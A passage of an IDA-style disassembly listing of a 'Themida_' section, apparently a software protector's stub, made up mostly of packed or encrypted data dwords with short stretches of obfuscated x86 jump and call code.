3376B77h, 0E860B0D9h, 7BAEA5AEh, 4B959232h, 4FD0923h dd 866801FEh, 0C9ADDFCCh, 43E96FDFh, 0FD51AA87h, 4E96C6DFh dd 0DDDAC2B9h, 8668A15Ch, 0A8ADE782h, 0EC152A54h, 0CEB824FDh dd 0FF8FA7FFh, 57564927h, 20A09A87h, 25FB0E03h, 61775FCEh dd 0CE825D42h, 0ECD8ACECh, 0A42C89EEh, 0EBE957DDh, 61ADE7CEh dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 2475C0D5h dd 0ED96A5AEh, 8A152AA8h, 0A0242945h, 261957DFh, 2C5E9179h dd 8A152A1Eh, 2C5E8979h, 8A152A16h, 2C5ECA79h, 8A152A49h dd 2C5E1379h, 8A152A38h, 2A5EF279h, 8A152A5Ch, 2A5EFA79h dd 8A152A6Bh, 0A851D6ACh, 8660D554h, 2559D7BAh, 61BCBFCEh dd 32DCF142h, 8DFE8038h, 0EDD871BAh, 8A42C3A8h, 0DDAEA245h dd 8260D558h, 1F438C8h, 7462DBFh, 43FBCEDFh, 3C6D553h dd 92B85E00h, 75152A54h, 0DDAEAE30h, 3B8FA75Ch, 0FB5649ECh dd 2079B0D9h, 7BAEA5AEh, 63E96FDDh, 0A851A258h, 75195FABh dd 32DCAA30h, 8DFE83E9h, 0C4CB2F16h, 7512C1FEh, 54142B96h dd 8A152ABDh, 0EDDAC345h, 82D7E3A8h, 3044BA45h, 9D8D0000h dd 7E40F49h, 2490B8h, 0F5858900h, 0E807E400h, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Dh mov [ebx], eax jmp loc_5FF869 ; --------------------------------------------------------------------------- byte_5FD3D9 db 3 dup(0) ; DATA XREF: Themida_:005833D4o dd 921h dup(0) db 0 byte_5FF861 db 3 dup(0) ; DATA XREF: Themida_:00583D74o dd 0 db 0 ; --------------------------------------------------------------------------- loc_5FF869: ; CODE XREF: Themida_:005FD3D4j jmp short loc_5FF877 ; --------------------------------------------------------------------------- db 3Dh dd 1C106C7Fh, 17575FEDh db 0DDh, 3Dh, 0Ah ; --------------------------------------------------------------------------- loc_5FF877: ; CODE XREF: Themida_:loc_5FF869j jmp loc_5FFE2C ; --------------------------------------------------------------------------- jmp loc_5FFE25 ; --------------------------------------------------------------------------- db 4Ch, 74h, 52h dd 0AFCFA8BEh, 0F29051Bh, 7286657Bh, 0D1EDC8DEh, 0C59E643Dh dd 243ACEEAh, 82982C4Ah, 0E4FA8EA4h, 0A85BEF07h, 73847BF8h dd 0D5213A9h, 6179567Eh, 677D5B29h, 6987612Fh, 6C886331h dd 0C340A234h, 1442A03Ch, 20F42A9Ah, 4813C641h, 0E8C3DDEFh dd 0E7C694CCh, 0F19660CCh, 86DF9BFDh, 8AA4804Eh, 8BAB8452h dd 9B137C53h, 39CDCE4Bh, 188113A9h, 354D2AC8h, 0B38F5D23h dd 13EF0599h, 4914C1F9h, 38042EE6h, 0B8948BBBh, 0A4EB0A9Eh dd 0A63DBA0Ah, 0F40CC50Bh, 23C1538Bh, 5CF72F45h, 0C8DAF4D0h dd 26BAD0AEh, 0FCD7DA4Ch, 435A3B84h, 23391731h, 99283EEBh dd 58D563A9h, 3D53312Ch, 0A2058AA9h, 0C0B59278h, 81D12AECh dd 0DCDDA21Fh, 10796C4Eh, 0E1A320FEh, 0AF6BAAC1h, 0C61F3513h dd 3A1EE18Eh, 9CAD6BB2h, 774BB4E8h, 78C606Bh, 0B5000000h dd 3B89Eh, 0F4922D00h, 0D1EBFD19h, 0D7A5DDF3h, 0C95CDAFBh dd 953F709h, 0F4473CB9h, 0AA131442h, 0D2DA1951h, 0DD3D5934h dd 5051529Eh, 43E0F2A2h, 283E1C03h, 455D3AD8h, 3E60720Dh dd 0FC344A28h, 0A83261Dh, 0EF05E35Ah, 4F69455Bh, 4F6A4917h dd 0C1B7A120h, 86D62F3Eh, 0BBF30BE8h, 91480E20h, 0B7938ABAh dd 0BD2F099Dh, 1599EB26h, 0E7D94096h, 0ABE0F959h, 0F4C7C0D2h dd 1F72D40Dh, 7E942844h, 804E86A4h, 5E7A55A6h, 0FA328B26h dd 5D3AD896h, 0EE963345h, 6B44956Fh, 1F78134Bh, 81875DCFh dd 27B1B33Ah, 0E025F315h, 0B4000000h, 3169454Dh, 0EC678663h dd 2704B3DDh, 5FC1116Ah, 42F41DE2h, 3E50B914h, 102A061Ch dd 0F4542BD8h, 0C6DE1442h, 15EE7454h, 6CE995B6h, 14429297h dd 6F81DA43h, 0CFAB92D2h, 310B21B5h, 300DDB13h, 0FF7CE018h dd 0E0FED847h, 3E5C364Ch, 74127406h, 0A8437B9Bh, 4292463Dh dd 9D781414h, 0E3C82881h, 40B36C27h, 845F798Bh, 0DCA61868h dd 5231217Eh, 0E49B6173h, 0B022590Dh, 3EA49D4Bh, 5A748676h dd 0F4CE6280h, 4E607A56h, 53D5934h, 45232826h, 4B29F72Fh dd 0F7BEFD35h, 30D4034Fh, 63AA51CEh, 0AC291442h, 144263D7h dd 60C91A83h, 8AF5B14Eh, 6A8460AFh, 89677D11h, 9688C56Ch dd 0B30CCCE0h, 6E4BE97Bh, 0B14B4456h, 501442FCh, 31121C8Eh dd 0E6EE6043h, 4F61815Ah, 0AD8BF2B2h, 56320397h, 4875B78h dd 0E3487736h, 0BF9C3A8Ah, 0C2D46FA7h, 3A502EFCh, 3B5B3402h dd 42563503h, 4004CB0Ah, 1B4B1410h, 9C304624h, 426509A7h dd 0FC024F14h, 0DBE05B57h, 0FFFFFEE8h, 6C424D04h, 0B9F59F1Ch dd 0FF9B13A6h, 36D10923h, 0FAD7A5DDh, 7B2092E2h, 0F4CEB444h dd 0EC022436h, 0F1BFF70Fh, 4CAEFE12h, 0A6F628CFh, 2B3DA613h dd 0C0840165h, 5835805Dh, 3D53E740h, 63104860h, 13A6F699h dd 0D883C38Ch, 340E613Ah, 91ABBD16h, 768A69B4h, 11AF891Dh dd 4AE51D33h, 0B4C6E4BEh, 6DA5BD9Ah, 65B5F996h, 0F6F18603h dd 482213A6h, 633DD92Ah, 19720D45h, 55C72907h, 7466ACC3h dd 352E40E2h, 1442BE73h, 6A44D841h, 88D8EECCh, 8A80740Bh dd 6779E21Bh, 13634B44h, 61530D96h, 0D5B4521Ch, 0FF471C1h dd 0CB03F154h, 11715062h, 0F154EF94h, 0F6CF6B03h, 0AA039ED6h dd 6D4B1951h, 0D52E4824h, 44D2B41h, 0E7FDDB28h, 50FD358Eh dd 14710F8Dh, 0AB92D299h, 89FEB0CDh, 22287B57h, 0E5CCB1Fh dd 0E16DC68Eh, 4494ED03h, 367AC5D2h, 0D2E14159h, 6082940Eh dd 1A52704Ah, 8586E4Ch, 5F71916Ah, 3BADFF99h, 0FE2BC0BCh dd 0EDC8541Eh, 0ECFE99D1h, 0F264174Fh, 66100D33h, 99748636h dd 0B1280766h, 0AA51CE30h, 0ED3B76A6h, 3DA6F711h, 0C38C2Bh dd 92B50000h, 0A10115F4h, 0F37F3744h, 0C5DFF129h, 0A7CCCECh dd 5F8F0282h, 0B02D7D2Ah, 144263CBh, 0EA0C1E87h, 4ADEF8D4h dd 0AAF5D270h, 0E47FB7CBh, 0A6B8538Bh, 4999AD8Ch, 0A6B8CCABh dd 44936E84h, 60F44D69h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h dd 0E0748C69h, 718D6806h, 0CBD19739h, 0C742D7F8h, 67425C6Eh dd 7E5DFB4Bh, 8597326Ah, 0EEBC54BFh, 0AC1F911h, 6C1390F2h dd 0EA1442F7h, 92D26F81h, 0FCADD0ABh, 2E1E4F64h, 902B63BCh dd 453AB767h, 11144265h, 0DFBA58A8h, 0DEF08BC3h, 0EB7109BCh dd 79h, 8AFCC67Ah, 546FB262h, 0CA2C2B1Bh, 4F50597Bh, 72906AF6h dd 948D9F3Ah, 1442B3ECh, 0A433734Ah, 5D7D5613h, 0FC879B0Dh dd 562FEAB6h, 465B61F6h, 0E8FA2D6Eh, 0BAD4B0C6h, 1D311026h dd 7C987389h, 0DBF7D2E8h, 39573147h, 9BB18FA5h, 0C914F107h dd 19CD4ECh, 1E4614A8h, 0CC000000h, 0FF37532Eh, 8D7D5264h dd 0A156D335h, 0F21442A0h, 39A9FA18h, 5D392DCEh, 6476CF22h dd 5C7E568Fh, 61795624h, 677D5B29h, 6987612Fh, 6C886331h dd 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h, 5452EE43h dd 4C2815Ah, 83000000h, 148704EAh, 0CF685C24h, 89000056h dd 0A868242Ch, 8900005Dh, 0C9BD2414h, 556D2A16h, 5D2404FFh dd 81DDF74Dh, 3E3AC1F5h, 4EC8195h, 89000000h, 4832424h dd 555A0424h, 0FF243481h, 8F25D102h, 0B8500842h, 25D102FFh dd 58084231h, 5A2434FFh, 4C481h, 34FF0000h, 0C4835D24h dd 0A46DE904h, 7AF0FFF8h, 336C8E63h, 21E24685h db 38h ; --------------------------------------------------------------------------- loc_5FFE25: ; CODE XREF: Themida_:005FF87Cj mov eax, 7EBD923h add eax, ebp loc_5FFE2C: ; CODE XREF: Themida_:loc_5FF877j mov edx, ebx call near ptr loc_5FFE39+1 db 67h dec esp db 66h xlat cmpsd push ebx loc_5FFE39: ; CODE XREF: Themida_:005FFE2Ep add ebp, eax adc eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 0A8h dd 0C2131F23h, 513FDDB8h, 0C129A97Eh, 0AE54A47Bh, 0EFB6316Bh dd 0B70F5E5Bh, 88C681D9h, 66000063h, 2B9DFFBAh, 8B92B7C9h dd 60600E3Ch, 0F38B5A53h, 0F00FB961h, 81610250h, 0CD6BA8F7h dd 8E927h, 8E8A0000h, 0B25C3D75h, 0F7812EC1h, 672E0233h dd 0F781CAB2h, 11E89361h, 0E72CD381h, 8A57798Fh, 0E048FFCh dd 0FE9F5h, 0AE6D0000h, 0C33D52A2h, 5008639Ch, 0A0F23D3Bh dd 4E98302h, 49D88166h, 64F981E7h, 0FFFFF9Dh, 1885h, 68D08100h dd 0E903A979h, 4Bh, 0BC67F2BAh, 0E5D9117Bh, 374A9339h dd 0DE856D9h, 0C2000000h, 252A857Fh, 837A10B2h, 116A789Ah dd 0CE9h, 0B269E000h, 0A2180F2Ch, 0D1C77A8Ch, 0E95B5AC0h dd 0FFFFFF57h, 31D4AB2Ch, 17C0E191h, 6EC387DBh, 1B141801h dd 0E92DE1D4h, 2Ah, 2404C7h, 0E8000000h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7EBDAA9h mov eax, [esp+4] mov [ebp+7E403ADh], eax mov eax, 0 lea ecx, [ebp+7E44FE7h] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h lea ecx, [ebp+7EBDB95h] jmp loc_5FFF6A ; --------------------------------------------------------------------------- dw 2AAh dd 4DA06374h db 40h, 71h ; --------------------------------------------------------------------------- loc_5FFF6A: ; CODE XREF: Themida_:005FFF5Dj mov [ebp+7E41B71h], ecx mov [ebp+7E40B1Dh], ebx mov dword ptr [ebp+7E42DA1h], 6F24h push 0 push edi call sub_5FFF8B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FFF8B proc near ; CODE XREF: Themida_:005FFF83p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5FFF8B endp ; --------------------------------------------------------------------------- db 0BFh dd 87E4D3BBh, 0AE882h db 2 dup(0) word_5FFFA6 dw 0EE66h ; DATA XREF: Themida_:005847ACo ; --------------------------------------------------------------------------- cld wait mov ds:257DA5BDh, al or eax, [ebx] popf cmp [esp], eax pop es pop edx mov [ebp+7E42321h], edx mov dword ptr [ebp+7E422B9h], 0 mov ebx, [ebp+7E42D11h] push dword ptr [ebp+7E42BF1h] jmp loc_5FFFDF ; --------------------------------------------------------------------------- dd 0A8921E05h db 67h, 0F2h, 72h ; --------------------------------------------------------------------------- loc_5FFFDF: ; CODE XREF: Themida_:005FFFD3j jnp loc_5FFFEB mov esi, [ebp+7E42289h] loc_5FFFEB: ; CODE XREF: Themida_:loc_5FFFDFj call dword ptr [ebp+7E43061h] push 0 push ecx call sub_5FFFFC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5FFFFC proc near ; CODE XREF: Themida_:005FFFF4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx loc_600001: ; DATA XREF: Themida_:00584E84o add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5FFFFC endp ; --------------------------------------------------------------------------- dd 6810FA2h, 81000000h, 5B306BCBh, 0FF006A27h, 0E40E4195h dd 0EBC08B07h, 0F5ABDB1Ah, 0CC493E19h, 0B764E5D2h, 5C9E4910h dd 0D3A80EE5h, 87EFA7E3h, 0E9681227h, 19h, 3596946Ch, 5 dup(0) dd 0D3CE900h, 0E8680000h, 0E907EBDDh, 0FFF8A21Bh, 0EBDF0068h dd 0A211E907h, 0B868FFF8h, 0E907EBDFh, 0FFF8A207h, 0EBE02568h dd 0A1FDE907h, 6568FFF8h, 0E907EBE3h, 0FFF8A1F3h, 0EBE6B868h dd 0A1E9E907h, 0AE68FFF8h, 0E907EBE7h, 0FFF8A1DFh, 0E5799B73h dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h, 0A97CDDA2h dd 0A5347913h, 0F5F7B56h, 457D9371h, 4D298AAh, 5D7C1026h dd 566A4932h, 320FADFDh, 0AD2A081Ah, 13A6B4B7h, 97447CE5h dd 13A6B5E4h, 38542Fh, 73F5332h, 327E26A3h, 0E19DC9DAh dd 0D878081Eh, 3FB7h, 424DE000h, 819F1C6Ch, 0D013A6A1h dd 293B5732h, 17A9E14Ah, 49819F79h, 0D8A39CAEh, 3B13A6A2h dd 3C0A4262h, 560D4561h, 6484C77Fh, 23966530h, 9EAF0760h dd 1549B6E6h, 78ED877h, 0B7000000h, 8A29Eh, 79562D00h dd 0A016ED6Ah, 5BC41442h, 1FFCCA02h, 27997307h, 59B4576Dh dd 98B28E26h, 850A2D3Fh, 525CD929h, 2013A6F5h, 29D27FB7h dd 9E13A6FAh, 5AA5D98Dh, 7BD877C3h, 20h, 6C424DA4h, 0A9E99F1Ch dd 3EA713A6h, 0AAA65906h, 142513A6h, 7D32C50h, 0FD04D878h dd 2D000000h, 11617956h, 18BAE19Fh, 0B5943697h, 75CE69A1h dd 6D0B9D63h, 6F3D7593h, 0A43F7795h, 441F394Bh, 4522F028h dd 0F163F52Dh, 137FFBA4h, 0E5FF11D1h, 54B2E908h, 826B108Dh dd 7EE71442h, 40ACF1Eh, 11468745h, 0EB449D4Bh, 9E1B7D57h dd 14424CD9h, 1FA0C75h, 1442489Eh, 34849C79h, 2AA7BC96h dd 14425155h, 0B33F9801h, 88AABCD8h, 457D9572h, 223615B3h dd 0CA2ED10h, 45C53FBCh, 1A8C13A6h, 51CED191h, 13A7F6AAh dd 565FBF28h, 23021471h, 0F0CC6ABAh, 83A2C4D6h, 0D552A20Ch dd 1441D1DAh, 7DDF2F98h, 0D9EB01DFh, 34C8E4BFh, 0D327431Eh dd 62359E2Ch, 7D850B4Bh, 3E00000Ah, 9AB04466h, 0F70DA1C1h dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13A97D96h, 5670FF44h dd 0B5CB5F7Bh, 67AE8DD8h, 0DE166F8Dh, 8556EA43h, 1C6C424Dh dd 0A6A9E99Fh, 63EA713h, 56930274h, 455C23A0h, 91FA13A6h dd 0E8B6B931h, 1DB8F00Eh, 0C6B9B2C4h, 8513A65Bh, 0AF54D133h dd 2B13A65Bh, 5313B0C2h, 7716D42Bh, 0D201D8h, 562A0000h dd 0D9C15A79h, 48686C6Eh, 0EE9B7EFh, 0C340A2F2h, 14422B3Ch dd 591F319Ah, 422F33ACh, 0FC472414h, 1CB0091Dh, 0FFDE2906h dd 835A92EBh, 0D552A20Ch, 13A62453h, 7F19B022h, 0EB860772h dd 4191FAD9h, 7A93E3CFh, 3AC6E5D2h, 710C445Eh, 0C5633D5Fh dd 0A9C39FE6h, 457DD671h, 2B3F1EAAh, 1599F619h, 0EAC563C5h dd 75F496CEh, 6BD256F1h, 1A13257Eh, 14404EBEh, 751363CCh dd 0CC2E7E9Ah, 884FA84Fh, 0F80CEB1Bh, 0A2C3EA7h, 0A9FD19F4h dd 62373160h, 6565EB2Bh, 56000009h, 0B2C85C7Eh, 0F25B9D9h dd 6F851933h, 0D2E87C90h, 6E47DBF7h, 0D8F4CF88h, 36542E44h dd 98AE8CA2h, 0F911EE04h, 8502B265h, 13A97FFEh, 5688175Ch dd 0B5CB5F7Bh, 5B2CC0D8h, 29617956h, 0D2667E5Bh, 621996F8h dd 0F01442A0h, 8617554h, 5948CBF6h, 3BFA74E7h, 0D754CCD5h dd 14428F20h, 0DAEC45AEh, 86D6D8B7h, 0A6A35B09h, 97A00913h dd 63CB2C8Ch, 1995FABAh, 0DF24CC9h, 0FF61A20Fh, 0CF0DFD82h dd 0DEF059ADh, 875E96FFh, 0D956A608h, 0AA28BD81h, 0BFDDB753h dd 4393EC87h, 1CB0C8A5h, 0FFBAD042h, 20A9AD53h, 0BDCF2846h dd 5AAEC6A3h, 0B08C92B9h, 0AD20A6E6h, 0E000008h, 6A801436h dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A97F46h dd 5640CF14h, 52296179h, 0A421713Dh, 13A6861Ah, 0E17FCF38h dd 4359ED03h, 6A174F65h, 13A68795h, 0A6975427h, 0D5D9B613h dd 82AA0885h, 4FB81442h, 546C4917h, 39D41D00h, 0D0569662h dd 840h, 0ED81A37Bh, 4ADEFED7h, 0AA3E5834h, 0DA1B594h dd 6C001CF7h, 19F46D93h, 795369FDh, 0D3B1C75Bh, 361329BDh dd 27D78A1Eh, 0A940D5AAh, 0AD3C8113h, 1C6C424Dh, 0A0463DBAh dd 0AB141442h, 1A2C401Fh, 0B5E1BF3Ch, 66F13A6h, 72700CEh dd 263A19B7h, 3DCF214h, 0C1D4ABE3h, 75C5DDBAh, 0A6B503F8h dd 0D66CF13h, 27451FBDh, 644254EFh, 0A6B528E7h, 558DF613h dd 0DC9FC79Eh, 3413643Eh, 0FA77C720h, 13A6B505h, 3C5668D1h dd 0BAAF4363h, 13A6B5C1h, 0EE6B4C49h, 13A6B509h, 1FC5CC5h dd 172DF25Fh, 0EB68B811h, 13A63738h, 2F2576E6h, 2EEF1A0Ah dd 71A9C9A2h, 0D3E97DD6h, 0B0CCA7FAh, 9269E678h, 4013A6B9h dd 0D5257ED7h, 73F5D37h, 0E7945A6Ch, 13A6B9ECh, 908FB78Eh dd 0ED0397B7h, 0FBCF414h, 13A6BA3Ch, 100F370Eh, 0A9831737h dd 0E0182C0Bh, 85103345h, 0A25CD929h, 3113A6BAh, 659DB793h dd 6FD7ACAh, 0D413A6BAh, 0DE7A596Bh, 1A97E703h, 13A6BA65h dd 0F72F88F1h, 0C7DED84Ah, 586C4B67h, 5A785220h, 6B1BE422h dd 86BECF27h, 169F29D6h, 169AE64h, 4DD70000h, 0BA1C6C42h dd 17293D1Ch, 0A6A9141Eh, 81D13A13h, 0E0BB06E3h, 98F18CC4h dd 0C611EE04h, 0FA95CDEDh, 0A1BC69A1h, 2094E002h, 9F7CE3A3h dd 0BB993787h, 0C0D26DA5h, 9CAB889Eh, 6815581Fh, 0C7DDBB9Bh dd 3AA3F48Fh, 0C3D2A9E1h, 624157EBh, 1284164Eh, 0FD6A094Dh dd 0A5BFD149h, 61CB0C8h, 2CD91129h, 0E9E28A81h, 5CC38300h dd 0BDD3677Fh, 0B990C8E0h, 995EDBDCh, 3515F7F5h, 0A62373CCh dd 15F7F5D1h, 0C5D40C7Eh, 5E4FC7E5h, 95306882h, 410CDC3Ch dd 0B8003EBDh, 0CA5EC7A6h, 85BDD9B4h, 77C7E7AEh, 0F7CA09FAh dd 5A39D515h, 0FF9DED46h, 0DFF9D524h, 78527486h, 0D0E200DAh dd 71C1D9B6h, 66E3FAD3h, 15F7CA91h, 437BD43Dh, 0D57148A8h dd 694075FAh, 61FF9157h, 3E586A86h, 580F4763h, 7D5AC581h dd 98771565h, 9FB14C84h, 728A677Dh, 7C32633Ah, 0A2C0AF2Ch dd 0F18F15F7h, 0C753F712h, 0E71C733Ah, 0FBE02E8Eh, 38DCCE35h dd 4ADE4726h, 73F5734h, 0D455B39h, 0E05F07CEh, 4157EB03h dd 1C3D1964h, 0B55BD22Ah, 0C2126B1Bh, 0F7EABE45h, 5AB31C15h dd 75916C0Ah, 0CA90A23Dh, 0BC0CA2F3h, 0F7EAAC3Fh, 69B92215h dd 0C5D7EDCBh, 99AF8DA3h, 0AC0B8A61h, 0F7EA482Fh, 449D0615h dd 0EA9077F4h, 0C15F15F7h, 0DCBBCDE3h, 560EDF73h, 0AECD6179h dd 0F23C6E1h, 0DDDA8DA8h, 21B73484h, 7013A6D0h, 60876BFEh dd 0E6E36E2Ah, 2C4CACF6h, 0D3B2C424h, 9E7C1A6Ah, 4F297C55h dd 5A0D831h, 8BAE48A5h, 4CA51E8Fh, 37518AFCh, 73F5332h dd 0A6400C6Ch, 0E244658h, 0BC0DE730h, 0F691C9DDh, 71CA659Dh dd 8FA58321h, 0AFE0B77Dh, 8832AFFFh, 0C614428Ah, 0F593255Dh dd 2DC80018h, 8359221Bh, 0DEB11B8Ah, 801E80D0h, 0B55088A6h dd 0F60CAAA3h, 0EA5A1C6Eh, 1529F85Ch, 3C5A347Eh, 0B7106904h dd 0BCD4B17Fh, 55E0BF68h, 42C8085Ah, 500h, 2DC1E3BBh, 8A1E3E17h dd 0EA7E9874h, 4DE1F5D4h, 0AC405C37h, 59342DD3h, 0B993A93Dh dd 13F1079Bh, 765369FDh, 6717CA5Eh, 0A94315EAh, 0ED7CC113h dd 1C6C424Dh, 0A0463DBAh, 78141442h, 14267F9Fh, 80D3B936h dd 31A113A6h, 0F4D0BFA1h, 889F7ADAh, 0F2D0793h, 2FD17EB6h dd 9E13A65Ch, 0B9D1AE4Ch, 1F5A0AA7h, 538BA581h, 34CBA6B8h dd 0A1D87721h, 0DBh, 1AE14FC1h, 4F379278h, 0F1035C70h dd 17F4921Ch, 3BF4EDFFh, 0EF1442A0h, 3BC03D9Fh, 971442A0h dd 0A0C5BA37h, 28911442h, 84D8BDCFh, 0DEF00AE6h, 7FCFE7C4h dd 3CE603E1h, 615C01CCh, 0D1F3055Eh, 7FCFDFB2h, 0B93EBB1Dh dd 151442CBh, 0D2A19AACh, 801442CBh, 4C29C717h, 942A412Dh dd 99F2F9CAh, 16F3C187h, 464B6AFEh, 0EC9B1868h, 7B1442CBh dd 70ED04DDh, 1442CB8Bh, 7385DE47h, 69DB2B94h, 52BD5EF2h dd 0F4BACC8Fh, 9D314926h, 4B9B137Eh, 53714BE9h, 0CB974841h dd 0DB3B1442h, 0AB04E069h, 2F9ADB44h, 1442A348h, 0F4449D06h dd 29617956h, 9B67C8Eh, 1442E376h, 0B1A5E1B8h, 0E07ECEE0h dd 19B4EC02h, 0F3AC2907h, 9F1442E3h, 84F72D2Fh, 60B99EB1h dd 0C1FECCh, 928D0000h, 898B5020h, 3446C934h, 0E0307E11h dd 0A6E54563h, 72AA1313h, 5CACCAA4h, 0B9CBDFBEh, 921C7897h dd 0C632C542h, 37A013A6h, 730885E7h, 0DF13A6C6h, 0F19E6476h dd 0EC5939F1h, 0C0FBABBCh, 0C61AE15Eh, 4FB813A6h, 0B79D623Dh dd 703AD877h, 5A000000h, 78FCAFE8h, 62740384h, 67474D8Dh dd 0A0E59A17h, 0D4721442h, 0BAD0AEF5h, 1A972961h, 1442A065h dd 1D2F88F1h, 0CF9DD53Eh, 2443D7F5h, 71EE3E70h, 1442A0DEh dd 46F32B94h, 1442E1B5h, 643FDDF5h, 63421048h, 47E4F64Fh dd 0E2BE5C1Fh, 0E3F590C8h, 8ADAD4C0h, 42E1220Dh, 52CF3114h dd 1442E1ADh, 0E1D6AD2Ah, 1B841442h, 704F61CAh, 56A27307h dd 97296179h, 0F3CF1EF9h, 546E80D9h, 0ACCB5F77h, 5A36D4E3h dd 26D0840h, 1442A07Dh, 0C71770D9h, 0A6B3404Ah, 6DA50E13h dd 7FC79DBh, 0D313A6B4h, 9C5F586Ah, 0F713A6B4h, 0FDCB0319h dd 8DCC0424h, 0C49F9EC6h, 0E6F74FA8h, 0A01FEBEh, 3597D878h dd 0A6BCC3B8h, 94468013h, 6B44ED3Fh, 463DBA1Ah, 1413A6EDh dd 0A14052ABh, 45h, 75424DCAh, 0A0E19613h, 46D1442h, 42A0E299h dd 0AE077014h, 0C4E3C05Eh, 5A9A8F19h, 0FD358E53h, 0F5725062h dd 13A64C3Fh, 0CA5C94FDh, 1394D2Ch, 0A05B5466h, 2713A64Eh dd 0D12E6E16h, 6D87723h, 0EAh, 6179562Fh, 64805B29h, 18289A2Ch dd 0FF47187h, 0CB1442A1h, 0DEDB0262h, 0D6B3CDDFh, 34FC6EBEh dd 7D2925D8h, 8567AD6Ch, 2F9B825h, 7F5C2AF0h, 0FDDED367h dd 561442F0h, 39512E79h, 3C583301h, 0B7106904h, 18300D23h dd 344E2AC8h, 894F61FCh, 81D1DDB2h, 0A6F79604h, 0C75BC413h dd 0A9A47BEDh, 719E4B93h, 5B533C5Fh, 49BA8E0Bh, 48B81440h dd 813322AAh, 1A97E7F7h, 1B88C465h, 0DF2F88F1h, 0B64A6641h dd 55A9C5A0h, 6237BCDCh, 0AD39BFFFh, 0E000001h, 6A801436h dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh, 90AC87C0h dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A94646h dd 5640CF14h, 278D587Bh, 15CCA936h, 0DC4E28BCh, 93D7D226h dd 2B633A9Bh, 7EC677D7h, 0AB88A2B4h, 8725FF93h, 0C15C94A8h dd 424DDAAFh, 0A6AA1C6Ch, 0C452F362h, 0CB482638h, 13A65305h dd 85326AD3h, 13A7A3FAh, 55044051h, 88C0DCB7h, 0FF00DBEDh dd 99D8770Eh, 0F6081CFBh, 0A557h, 79568000h, 805B2961h dd 0E53E5231h, 0A49F00ADh, 9B781442h, 0FCD9EF83h, 0BAD5ACE4h dd 0A442A4F4h, 0A59EB0C6h, 13A6AB37h, 9CEFC866h, 134BA4C2h dd 1E876678h, 8EF6CCEh, 0C613A6B4h, 0A294B5Dh, 5CD92985h dd 1440525Bh, 0B249C628h, 201B885Bh, 5DC6A5B7h, 330DAB0Dh dd 0EE90315h, 6D485EF2h, 263EFD51h, 71B16237h, 0B7EBh dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh dd 474C33B0h, 0C50A13A9h, 5F7B5636h, 0C0D8B5CBh, 79565B2Ch dd 0F9972961h, 31CC041Ch, 1028051Fh, 2604A27Ch, 0B4DBFE10h dd 0EB2DAAFAh, 0B913A97Bh, 6D4A1850h, 89670555h, 293F6173h dd 4FFC344Ch, 21D401A0h, 0B9A4E05Dh, 1A30C4DCh, 73D5253Dh dd 2BF901F6h, 5264CD2Eh, 0CBDFBE8Ch, 0E800DD7Bh, 654210D6h dd 6B47154Dh, 38B51951h, 0B7CF440Ch, 0EC243C19h, 0FF840151h dd 5B2E2BF9h, 343E0F2h, 93273F1Ch, 5088A07Dh, 3CAh, 3E8D5900h dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh dd 4C381h, 0BF570000h, 4, 875FFB29h, 685C241Ch, 1FB3h dd 56241C89h, 0C681E689h, 4, 4EE81h, 34870000h, 2C895C24h dd 0DC1D6824h, 545B07EBh, 81242C8Bh, 4C4h, 4EC8100h, 89000000h dd 458F241Ch, 242C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- xchg dh, dl pop ebx and esp, eax xor eax, 83FE8D16h mov eax, 7EBE88Ah add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0F4h dd 4A385DF3h, 0C20F61DFh, 89421E15h, 0B1524FB6h, 7D156785h dd 0D929AAD1h, 0F96C9149h, 617785DDh, 0CE69FCE5h, 0BA14B672h dd 0A832DD59h, 0DF3CCC8Fh, 0F41AD0EEh, 0B9670E82h, 1D033B2Ch dd 8C5798D9h, 0E83BB0FCh, 0Ch, 0C3E922Ch, 0C7DC6EE4h, 7E0EA353h dd 0C0BF0F59h, 6F54C181h, 16B00000h, 1BA668h, 850F5000h dd 3, 5FFBBF0Fh, 0CE95Ah, 0C7C40000h, 0E107A70Bh, 1E83DEh dd 198B61F0h, 0F381F38Bh, 2BA885E9h, 0F381C18Bh, 762EF7A3h dd 5E9h, 98F61F00h, 0F381F825h, 6EAF9EDCh, 89F3BF0Fh, 56B46019h dd 9E8h, 63C5AF00h, 71D07543h, 0E28A32BDh, 0E983615Bh dd 12E68103h, 494ED7CDh, 890Fh, 0EA810000h, 1, 1D850Fh dd 81660000h, 0E965ACCEh, 24h, 743D1D70h, 0AA398A34h, 908CC0B0h dd 0C05EAA67h, 6601C96Ah, 0BFC4F681h, 